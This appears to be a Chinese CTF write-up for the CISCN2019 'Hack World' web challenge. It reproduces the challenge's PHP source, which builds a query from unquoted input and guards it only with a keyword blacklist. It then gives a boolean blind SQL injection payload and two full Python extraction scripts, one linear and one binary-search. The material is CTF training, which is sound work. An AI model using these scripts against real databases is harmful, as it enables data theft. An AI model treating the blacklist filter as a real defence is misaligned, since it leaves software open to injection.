[CISCN2019 華北賽區 Day2 Web1]Hack World

 

輸入1時:返回Hello, glzjin wants a girlfriend.

輸入2時:Do you want to be my girlfriend?

輸入1%2時也會回顯:Hello, glzjin wants a girlfriend.

輸入其他數值時返回error

 然後不會做了,怎麼寫都是錯,後來看了一個大佬後來的題解,然後看到源代碼是如下的:

其中題的一句話很重要Now, just give the id of passage,只需要給出id,即注入應該是數字型的注入。

<?php
$dbuser='root';
$dbpass='root';

function safe($sql){
    #被過濾的內容 函數基本沒過濾
    $blackList = array(' ','||','#','-',';','&','+','or','and','`','"','insert','group','limit','update','delete','*','into','union','load_file','outfile','./');
    foreach($blackList as $blackitem){
        if(stripos($sql,$blackitem)){
            return False;
        }
    }
    return True;
}
if(isset($_POST['id'])){
    $id = $_POST['id'];
}else{
    die();
}
$db = mysql_connect("localhost",$dbuser,$dbpass);
if(!$db){
    die(mysql_error());
}   
mysql_select_db("ctf",$db);

if(safe($id)){
    $query = mysql_query("SELECT content from passage WHERE id = ${id} limit 0,1");
    
    if($query){
        $result = mysql_fetch_array($query);
        
        if($result){
            echo $result['content'];
        }else{
            echo "Error Occured When Fetch Result.";
        }
    }else{
        var_dump($query);
    }
}else{
    die("SQL Injection Checked.");
}

解題思路:

用字符串截斷函數,把每個字符截斷出來。如果當前字符等於某個字符,返回1,否則返回2。

比如: 截取到了flag中的第一個字符f時,從ascii碼錶裏爆破 , f =a 返回 2 , f = f 返回1

 sql的三目運算:

if( 表達式1,表達式2,表達式3)

如果表達式1是正確的,那麼執行表達式2,否則執行表達式3

sql的ascii(str) 函數:

其執行方式:返回字符串str的最左面字符的ASCII代碼值。如果str是空字符串,返回0。如果str是NULL,返回NULL

payload = "if(ascii(substr((select(flag)from(flag)),%d,1))=%d,1,2)"%(i,j);

 

下面是我蛇皮的腳本循環跑了幾千次才跑出flag,最下面給出一個大佬用二分法跑的,比我的快好多倍。

import requests

url = "http://1e724a0e-4db3-441e-91a7-1a1b8bafc9cb.node3.buuoj.cn/index.php";

result = ""
num=0  #用了來判斷是不是flag已經拼完整了
for i in range(1,60):

	if num == 1:
		break

	for j in range(32,128):

		payload = "if(ascii(substr((select(flag)from(flag)),%d,1))=%d,1,2)"%(i,j);
		#print(str((i-1)*96+j-32)+":~"+payload+"~")

		data = {
			"id":payload,
		}

		r = requests.post(url,data=data)

		r.encoding = r.apparent_encoding

		if "Hello" in r.text:
			x = chr(j)
			result+=str(x)
			print(result)
			break

		if "}" in result:
			print(result)
			num=1
			break


		

下面的連接是大佬二分法跑flag的腳本,他用的tab代替空格沒有用小括號,詳情請參考下面的鏈接。

大佬博客: https://www.cnblogs.com/kevinbruce656/p/11342580.html

import requests
import time
#url是隨時更新的,具體的以做題時候的爲準
url = 'http://40c9be7a-36f0-4e80-94ca-d1ac9e121947.node1.buuoj.cn/index.php'
data = {"id":""}
flag = 'flag{'

i = 6
while True:
#從可打印字符開始
    begin = 32
    end = 126
    tmp = (begin+end)//2
    while begin<end:
        print(begin,tmp,end)
        time.sleep(1)
        data["id"] = "if(ascii(substr((select       flag        from    flag),{},1))>{},1,2)".format(i,tmp)
        r = requests.post(url,data=data)
        if 'Hello' in r.text:
            begin = tmp+1
            tmp = (begin+end)//2 
        else:
            end = tmp
            tmp = (begin+end)//2

    flag+=chr(tmp)
    print(flag)
    i+=1
    if flag[-1]=='}':
        break

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章